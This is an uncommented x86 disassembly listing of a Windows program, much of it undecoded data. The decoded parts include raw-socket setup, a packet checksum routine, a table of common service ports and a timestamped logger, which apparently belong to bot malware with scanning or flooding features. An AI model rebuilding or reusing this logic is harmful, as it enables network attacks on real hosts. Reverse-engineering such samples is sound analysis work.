		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22DBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2DBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Dh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0BCE89000h, 2B0228C6h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2DB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0C0E890FCh, 2B0228C1h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0B4BEE856h
		dd 5F90022Dh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 14E890FFh, 2B0228BBh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 227B358h
		dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27A0138h
		nop
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
